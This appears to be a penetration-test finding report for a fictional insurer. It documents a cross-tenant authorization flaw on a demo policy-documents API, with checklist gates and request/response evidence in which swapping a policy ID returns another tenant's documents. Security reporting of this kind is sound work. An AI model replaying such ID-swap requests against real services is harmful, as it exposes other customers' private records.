Findings Meridian Mutual

AssignStatus: OpenExport bundle

Critical TIER 4 · PROVEN Network Pentest GT-2041 · first seen Jun 11

Cross-tenant authorization flaw — one customer's session reads another's policy documents

api.meridian-demo.example/v2/policies/{id}/documents · authenticated context: tenant-A portal session

OverviewProof & EvidenceHistory

Proven Reproduced Authenticity verified

G1 ✓

Reachability

Reachable from outside

G2 ✓

Signal

Genuine, not coincidental

G3 ✓

Exploitability

Enumerable IDs, acted on

G4 ✓

Impact

Cross-tenant disclosure

AUTH ✓

Authenticity

Real target, real path

Request

# authenticated as tenant A; request tenant B's object GET /v2/policies/88412/documents HTTP/2 Host: api.meridian-demo.example Authorization: Bearer <tenant-A session>

Response

HTTP/2 200 OK ← expected 403 / 404 {"policy_id": 88412, "owner_tenant": "tenant-B", "documents": [ {"id":"doc-001", … } ]} ✓ cross-tenant object returned

Control — object you shouldn't reach

GET /v2/policies/00000/documents → 403 Forbidden # the endpoint can deny

Exploit — real object, id swapped

GET /v2/policies/88412/documents → 200 OK # another tenant's docs